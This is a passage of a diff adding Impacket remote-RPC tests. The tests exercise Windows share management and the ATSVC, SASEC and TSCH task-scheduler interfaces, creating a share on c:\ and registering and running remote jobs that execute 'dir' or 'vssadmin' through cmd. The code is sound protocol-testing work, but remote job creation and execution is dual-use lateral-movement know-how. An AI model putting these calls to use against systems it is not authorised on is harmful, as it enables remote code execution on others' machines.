+            resp = dce.request(request)
+            resp.dump()
+        except srvs.DCERPCSessionError as e:
+            if str(e) != 'ERROR_NOT_SUPPORTED':
+                raise
+
+    def test_hNetrServerAliasEnum(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = srvs.hNetrServerAliasEnum(dce, 0)
+            resp.dump()
+        except srvs.DCERPCSessionError as e:
+            print(e)
+            if str(e) != 'ERROR_NOT_SUPPORTED':
+                raise
+
+    def test_NetrShareDelEx(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrShareAdd()
+        request['ServerName'] = NULL
+        request['Level'] = 2
+        request['InfoStruct']['tag'] = 2
+        request['InfoStruct']['ShareInfo2']['shi2_netname'] = 'BETUSHARE\x00'
+        request['InfoStruct']['ShareInfo2']['shi2_type'] = srvs.STYPE_TEMPORARY
+        request['InfoStruct']['ShareInfo2']['shi2_remark'] = 'My Remark\x00'
+        request['InfoStruct']['ShareInfo2']['shi2_max_uses'] = 0xFFFFFFFF
+        request['InfoStruct']['ShareInfo2']['shi2_path'] = 'c:\\\x00'
+        request['InfoStruct']['ShareInfo2']['shi2_passwd'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request = srvs.NetrShareDelEx()
+        request['ServerName'] = NULL
+        request['Level'] = 503
+        request['ShareInfo']['tag'] = 503
+        request['ShareInfo']['ShareInfo503']['shi503_netname'] ='BETUSHARE\x00'
+        request['ShareInfo']['ShareInfo503']['shi503_type'] = srvs.STYPE_TEMPORARY
+        request['ShareInfo']['ShareInfo503']['shi503_remark'] = 'My Remark\x00'
+        request['ShareInfo']['ShareInfo503']['shi503_permissions'] = 0
+        request['ShareInfo']['ShareInfo503']['shi503_max_uses'] = 0xFFFFFFFF
+        request['ShareInfo']['ShareInfo503']['shi503_current_uses'] = 0
+        request['ShareInfo']['ShareInfo503']['shi503_path'] = 'c:\\\x00'
+        request['ShareInfo']['ShareInfo503']['shi503_passwd'] = NULL
+        request['ShareInfo']['ShareInfo503']['shi503_servername'] = NULL
+        request['ShareInfo']['ShareInfo503']['shi503_reserved'] = 0
+        request['ShareInfo']['ShareInfo503']['shi503_security_descriptor'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+    def ttt_NetrServerTransportAdd_NetrServerTransportDel(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrServerTransportAdd()
+        request['ServerName'] = NULL
+        request['Level'] = 0
+        request['Buffer']['svti0_numberofvcs'] = 0
+        request['Buffer']['svti0_transportname'] = '\\Device\\NetbiosSmb\x00'
+        request['Buffer']['svti0_transportaddress'] = list('%s' % self.machine)
+        request['Buffer']['svti0_transportaddresslength'] = len(request['Buffer']['svti0_transportaddress'])
+        request['Buffer']['svti0_networkaddress'] = '%s\x00' % self.machine
+        resp = dce.request(request)
+        resp.dump()
+
+        req = srvs.NetrServerTransportDel()
+        req['ServerName'] = NULL
+        req['Level'] = 0
+        req['Buffer'] = request['Buffer']
+        resp = dce.request(req)
+        resp.dump()
+
+    def ttt_NetrServerTransportAddEx_NetrServerTransportDelEx(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrServerTransportAddEx()
+        request['ServerName'] = NULL
+        request['Level'] = 0
+        request['Buffer']['tag'] = 0
+        request['Buffer']['Transport0']['svti0_numberofvcs'] = 0
+        request['Buffer']['Transport0']['svti0_transportname'] = '\\Device\\NetbiosSmb\x00'
+        request['Buffer']['Transport0']['svti0_transportaddress'] = list('%s' % self.machine)
+        request['Buffer']['Transport0']['svti0_transportaddresslength'] = len(request['Buffer']['Transport0']['svti0_transportaddress'])
+        request['Buffer']['Transport0']['svti0_networkaddress'] = '%s\x00' % self.machine
+        resp = dce.request(request)
+        resp.dump()
+
+        req = srvs.NetrServerTransportDelEx()
+        req['ServerName'] = NULL
+        req['Level'] = 0
+        req['Buffer']['tag'] = 0
+        req['Buffer']['Transport0']  = request['Buffer']['Transport0']
+        resp = dce.request(req)
+        resp.dump()
+
+    def test_NetrDfsCreateLocalPartition(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrDfsCreateLocalPartition()
+        request['ServerName'] = NULL
+        request['ShareName'] = 'C$\x00'
+        #request['EntryUid'] = 0
+        request['EntryPrefix'] = 'c:\\\x00'
+        request['ShortName'] = 'c:\\betus\x00'
+        request['RelationInfo']['Buffer'] = NULL
+        request['Force'] = 0
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except srvs.DCERPCSessionError as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0:
+                raise
+
+    def test_NetrDfsDeleteLocalPartition(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrDfsDeleteLocalPartition()
+        request['ServerName'] = NULL
+        request['Prefix'] = 'c:\\\x00'
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except srvs.DCERPCSessionError as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0:
+                raise
+
+    def test_NetrDfsSetLocalVolumeState(self):
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrDfsSetLocalVolumeState()
+        request['ServerName'] = NULL
+        request['Prefix'] = 'c:\\\x00'
+        request['State'] = 0x80
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except srvs.DCERPCSessionError as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0:
+                raise
+
+    def test_NetrDfsCreateExitPoint(self):
+        # Cannot make it work, supported only on w2k and xp
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrDfsCreateExitPoint()
+        request['ServerName'] = NULL
+        request['Prefix'] = 'c:\\\x00'
+        request['Type'] = srvs.PKT_ENTRY_TYPE_LEAFONLY
+        request['ShortPrefixLen'] = 50
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except srvs.DCERPCException as e:
+            if str(e).find('rpc_x_bad_stub_data') < 0:
+                raise
+
+    def test_NetrDfsDeleteExitPoint(self):
+        # Cannot make it work, supported only on w2k and xp
+        dce, rpc_transport = self.connect()
+        request = srvs.NetrDfsDeleteExitPoint()
+        request['ServerName'] = NULL
+        request['Prefix'] = 'c:\\\x00'
+        request['Type'] = srvs.PKT_ENTRY_TYPE_LEAFONLY
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except srvs.DCERPCSessionError as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0:
+                raise
+
+
+@pytest.mark.remote
+class SRVSTestsSMBTransport(SRVSTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class SRVSTestsSMBTransport64(SRVSTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_tsch.py b/tests/dcerpc/test_tsch.py
new file mode 100644
index 0000000..3135451
--- /dev/null
+++ b/tests/dcerpc/test_tsch.py
@@ -0,0 +1,1006 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)NetrJobEnum
+#   (h)NetrJobAdd
+#   (h)NetrJobDel
+#   (h)NetrJobGetInfo
+#   (h)SASetAccountInformation
+#   (h)SASetNSAccountInformation
+#   (h)SAGetNSAccountInformation
+#   (h)SAGetAccountInformation
+#   (h)SchRpcHighestVersion
+#   (h)SchRpcRetrieveTask
+#   (h)SchRpcCreateFolder
+#   (h)SchRpcDelete
+#   (h)SchRpcEnumFolders
+#   (h)SchRpcEnumTasks
+#   (h)SchRpcEnumInstances
+#   (h)SchRpcRun
+#   (h)SchRpcGetInstanceInfo
+#   (h)SchRpcStopInstance
+#   (h)SchRpcStop
+#   (h)SchRpcRename
+#   (h)SchRpcScheduledRuntimes
+#   (h)SchRpcGetLastRunInfo
+#   (h)SchRpcGetTaskInfo
+#   (h)SchRpcGetNumberOfMissedRuns
+#   (h)SchRpcEnableTask
+#
+# Not yet:
+#   SchRpcRegisterTask
+#   SchRpcSetSecurity
+#   SchRpcGetSecurity
+#
+from __future__ import division
+from __future__ import print_function
+
+import pytest
+import unittest
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import tsch, atsvc, sasec
+from impacket.dcerpc.v5.atsvc import AT_INFO
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from impacket.system_errors import ERROR_NOT_SUPPORTED
+
+
+class ATSVCTests(DCERPCTests):
+    iface_uuid = atsvc.MSRPC_UUID_ATSVC
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\atsvc]"
+    authn = True
+    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+    def test_NetrJobEnum(self):
+        dce, rpc_transport = self.connect()
+        request = atsvc.NetrJobEnum()
+        request['ServerName'] = NULL
+        request['pEnumContainer']['Buffer'] = NULL
+        request['PreferedMaximumLength'] = 0xffffffff
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+
+    def test_hNetrJobEnum(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = atsvc.hNetrJobEnum(dce, NULL, NULL, 0xffffffff)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+
+    def test_hNetrJobAdd_hNetrJobEnum_hNetrJobDel(self):
+        dce, rpc_transport = self.connect()
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+
+        resp = atsvc.hNetrJobEnum(dce)
+        resp.dump()
+
+        for job in resp['pEnumContainer']['Buffer']:
+            resp = atsvc.hNetrJobDel(dce, NULL, job['JobId'], job['JobId'] )
+            resp.dump()
+
+    def test_NetrJobAdd_NetrJobEnum_NetrJobDel(self):
+        dce, rpc_transport = self.connect()
+        request = atsvc.NetrJobAdd()
+        request['ServerName'] = NULL
+        request['pAtInfo']['JobTime'] = NULL
+        request['pAtInfo']['DaysOfMonth'] = 0
+        request['pAtInfo']['DaysOfWeek'] = 0
+        request['pAtInfo']['Flags'] = 0
+        request['pAtInfo']['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+
+        request = atsvc.NetrJobEnum()
+        request['ServerName'] = NULL
+        request['pEnumContainer']['Buffer'] = NULL
+        request['PreferedMaximumLength'] = 0xffffffff
+        resp = dce.request(request)
+        resp.dump()
+
+        for job in resp['pEnumContainer']['Buffer']:
+            request = atsvc.NetrJobDel()
+            request['ServerName'] = NULL
+            request['MinJobId'] = job['JobId']
+            request['MaxJobId'] = job['JobId']
+            resp = dce.request(request)
+            resp.dump()
+
+    def test_NetrJobAdd_NetrJobGetInfo_NetrJobDel(self):
+        dce, rpc_transport = self.connect()
+        request = atsvc.NetrJobAdd()
+        request['ServerName'] = NULL
+        request['pAtInfo']['JobTime'] = NULL
+        request['pAtInfo']['DaysOfMonth'] = 0
+        request['pAtInfo']['DaysOfWeek'] = 0
+        request['pAtInfo']['Flags'] = 0
+        request['pAtInfo']['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+
+        request = atsvc.NetrJobGetInfo()
+        request['ServerName'] = NULL
+        request['JobId'] = resp['pJobId']
+        resp2 = dce.request(request)
+        resp2.dump()
+
+        request = atsvc.NetrJobDel()
+        request['ServerName'] = NULL
+        request['MinJobId'] = resp['pJobId']
+        request['MaxJobId'] = resp['pJobId']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrJobAdd_hNetrJobGetInfo_hNetrJobDel(self):
+        dce, rpc_transport = self.connect()
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+
+        resp2 = atsvc.hNetrJobGetInfo(dce, NULL, resp['pJobId'])
+        resp2.dump()
+
+        resp = atsvc.hNetrJobDel(dce, NULL, resp['pJobId'], resp['pJobId'])
+        resp.dump()
+
+
+class SASECTests(DCERPCTests):
+    iface_uuid = sasec.MSRPC_UUID_SASEC
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\atsvc]"
+    authn = True
+    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+    def test_SASetAccountInformation(self):
+        dce, rpc_transport = self.connect()
+        request = sasec.SASetAccountInformation()
+        request['Handle'] = NULL
+        request['pwszJobName'] = 'MyJob.job\x00'
+        request['pwszAccount'] = self.username + '\0'
+        request['pwszPassword'] = self.password + '\0'
+        request['dwJobFlags'] = sasec.TASK_FLAG_RUN_ONLY_IF_LOGGED_ON
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except sasec.DCERPCSessionError as e:
+            if e.get_error_code() != 0x80070002:
+                raise
+
+    def test_hSASetAccountInformation(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = sasec.hSASetAccountInformation(dce, NULL, 'MyJob.job', self.username, self.password, 0)
+            resp.dump()
+        except sasec.DCERPCSessionError as e:
+            if e.get_error_code() != 0x80070002:
+                raise
+
+    def test_SASetNSAccountInformation(self):
+        dce, rpc_transport = self.connect()
+        request = sasec.SASetNSAccountInformation()
+        request['Handle'] = NULL
+        request['pwszAccount'] = self.username + '\0'
+        request['pwszPassword'] = self.password + '\0'
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSASetNSAccountInformation(self):
+        dce, rpc_transport = self.connect()
+        resp = sasec.hSASetNSAccountInformation(dce, NULL, self.username, self.password)
+        resp.dump()
+
+    def test_SAGetNSAccountInformation(self):
+        dce, rpc_transport = self.connect()
+        request = sasec.SAGetNSAccountInformation()
+        request['Handle'] = NULL
+        request['ccBufferSize'] = 25
+        for i in range(request['ccBufferSize']):
+            request['wszBuffer'].append(0)
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSAGetNSAccountInformation(self):
+        dce, rpc_transport = self.connect()
+        resp = sasec.hSAGetNSAccountInformation(dce, NULL, 25)
+        resp.dump()
+
+    def test_SAGetAccountInformation(self):
+        dce, rpc_transport = self.connect()
+        request = sasec.SAGetAccountInformation()
+        request['Handle'] = NULL
+        request['pwszJobName'] = 'MyJob.job\x00'
+        request['ccBufferSize'] = 15
+        for i in range(request['ccBufferSize']):
+            request['wszBuffer'].append(0)
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except sasec.DCERPCSessionError as e:
+            if e.get_error_code() != 0x80070002:
+                raise
+
+    def test_hSAGetAccountInformation(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = sasec.hSAGetAccountInformation(dce, NULL, 'MyJob.job', 15)
+            resp.dump()
+        except sasec.DCERPCSessionError as e:
+            if e.get_error_code() != 0x80070002:
+                raise
+
+
+class TSCHTests(DCERPCTests):
+    iface_uuid = tsch.MSRPC_UUID_TSCHS
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\atsvc]"
+    authn = True
+    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+    def test_SchRpcHighestVersion(self):
+        dce, rpc_transport = self.connect()
+        request = tsch.SchRpcHighestVersion()
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSchRpcHighestVersion(self):
+        dce, rpc_transport = self.connect()
+        resp = tsch.hSchRpcHighestVersion(dce)
+        resp.dump()
+
+    @pytest.mark.skip(reason="Disabled test")
+    def test_SchRpcRegisterTask(self):
+        dce, rpc_transport = self.connect()
+        xml = """
+<!-- Task -->
+<xs:complexType name="taskType">
+<xs:all>
+<xs:element name="RegistrationInfo" type="registrationInfoType" minOccurs="0"/>
+<xs:element name="Triggers" type="triggersType" minOccurs="0"/>
+<xs:element name="Settings" type="settingsType" minOccurs="0"/>
+<xs:element name="Data" type="dataType" minOccurs="0"/>
+<xs:element name="Principals" type="principalsType" minOccurs="0"/>
+<xs:element name="Actions" type="actionsType"/>
+</xs:all>
+<xs:attribute name="version" type="versionType" use="optional"/> </xs:complexType>\x00
+"""
+        request = tsch.SchRpcRegisterTask()
+        request['path'] = NULL
+        request['xml'] = xml
+        request['flags'] = 1
+        request['sddl'] = NULL
+        request['logonType'] = tsch.TASK_LOGON_NONE
+        request['cCreds'] = 0
+        request['pCreds'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_SchRpcRetrieveTask(self):
+        dce, rpc_transport = self.connect()
+        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)
+
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+        jobId = resp['pJobId']
+
+        request = tsch.SchRpcRetrieveTask()
+        request['path'] = '\\At%d.job\x00' % jobId
+        request['lpcwszLanguagesBuffer'] = '\x00'
+        request['pulNumLanguages'] = 0
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            if e.get_error_code() != 0x80070002:
+                raise
+
+        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)
+        resp.dump()
+
+    def test_hSchRpcRetrieveTask(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = tsch.hSchRpcRetrieveTask(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00')
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+    def test_SchRpcCreateFolder_SchRpcEnumFolders_SchRpcDelete(self):
+        dce, rpc_transport = self.connect()
+
+        request = tsch.SchRpcCreateFolder()
+        request['path'] = '\\Beto\x00'
+        request['sddl'] = NULL
+        request['flags'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+        request = tsch.SchRpcEnumFolders()
+        request['path'] = '\\\x00'
+        request['flags'] = tsch.TASK_ENUM_HIDDEN
+        request['startIndex'] = 0
+        request['cRequested'] = 10
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+        request = tsch.SchRpcDelete()
+        request['path'] = '\\Beto\x00'
+        request['flags'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSchRpcCreateFolder_hSchRpcEnumFolders_hSchRpcDelete(self):
+        dce, rpc_transport = self.connect()
+
+        resp = tsch.hSchRpcCreateFolder(dce, '\\Beto')
+        resp.dump()
+
+        resp = tsch.hSchRpcEnumFolders(dce, '\\')
+        resp.dump()
+
+        resp = tsch.hSchRpcDelete(dce, '\\Beto')
+        resp.dump()
+
+    def test_SchRpcEnumTasks(self):
+        dce, rpc_transport = self.connect()
+        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)
+
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+        jobId = resp['pJobId']
+
+        request = tsch.SchRpcEnumTasks()
+        request['path'] = '\\\x00'
+        request['flags'] = tsch.TASK_ENUM_HIDDEN
+        request['startIndex'] = 0
+        request['cRequested'] = 10
+        resp = dce.request(request)
+        resp.dump()
+
+        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)
+        resp.dump()
+
+    def test_hSchRpcEnumTasks(self):
+        dce, rpc_transport = self.connect()
+        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)
+
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\BTO\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+        jobId = resp['pJobId']
+
+        resp = tsch.hSchRpcEnumTasks(dce, '\\')
+        resp.dump()
+
+        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)
+        resp.dump()
+
+    def test_SchRpcEnumInstances(self):
+        dce, rpc_transport = self.connect()
+
+        request = tsch.SchRpcEnumInstances()
+        request['path'] = '\\\x00'
+        request['flags'] = tsch.TASK_ENUM_HIDDEN
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            if e.get_error_code() != 0x80070002:
+                raise
+
+    def test_hSchRpcEnumInstances(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = tsch.hSchRpcEnumInstances(dce, '\\')
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            if e.get_error_code() != 0x80070002:
+                raise
+
+    def test_SchRpcRun(self):
+        dce, rpc_transport = self.connect()
+        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)
+
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+        jobId = resp['pJobId']
+
+        request = tsch.SchRpcRun()
+        request['path'] = '\\At%d\x00' % jobId
+        request['cArgs'] = 0
+        request['pArgs'] = NULL
+        request['flags'] = tsch.TASK_RUN_AS_SELF
+        request['sessionId'] = 0
+        request['user'] = NULL
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)
+        resp.dump()
+
+    def test_hSchRpcRun(self):
+        dce, rpc_transport = self.connect()
+        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)
+
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C dir > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+        jobId = resp['pJobId']
+
+        try:
+            resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1'))
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)
+        resp.dump()
+
+    def test_SchRpcGetInstanceInfo(self):
+        dce, rpc_transport = self.connect()
+        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)
+
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+        jobId = resp['pJobId']
+
+        try:
+            resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1'))
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+        request = tsch.SchRpcGetInstanceInfo()
+        request['guid'] = resp['pGuid']
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0:
+                raise
+            pass
+
+        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)
+        resp.dump()
+
+    def test_hSchRpcGetInstanceInfo(self):
+        dce, rpc_transport = self.connect()
+        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)
+
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+        jobId = resp['pJobId']
+
+        try:
+            resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1'))
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+        try:
+            resp = tsch.hSchRpcGetInstanceInfo(dce, resp['pGuid'])
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0:
+                raise
+            pass
+
+        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)
+        resp.dump()
+
+    def test_SchRpcStopInstance(self):
+        dce, rpc_transport = self.connect()
+        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)
+
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+        jobId = resp['pJobId']
+
+        try:
+            resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1'))
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+        request = tsch.SchRpcStopInstance()
+        request['guid'] = resp['pGuid']
+        request['flags'] = 0
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0:
+                raise
+            pass
+
+        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)
+        resp.dump()
+
+    def test_hSchRpcStopInstance(self):
+        dce, rpc_transport = self.connect()
+        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)
+
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
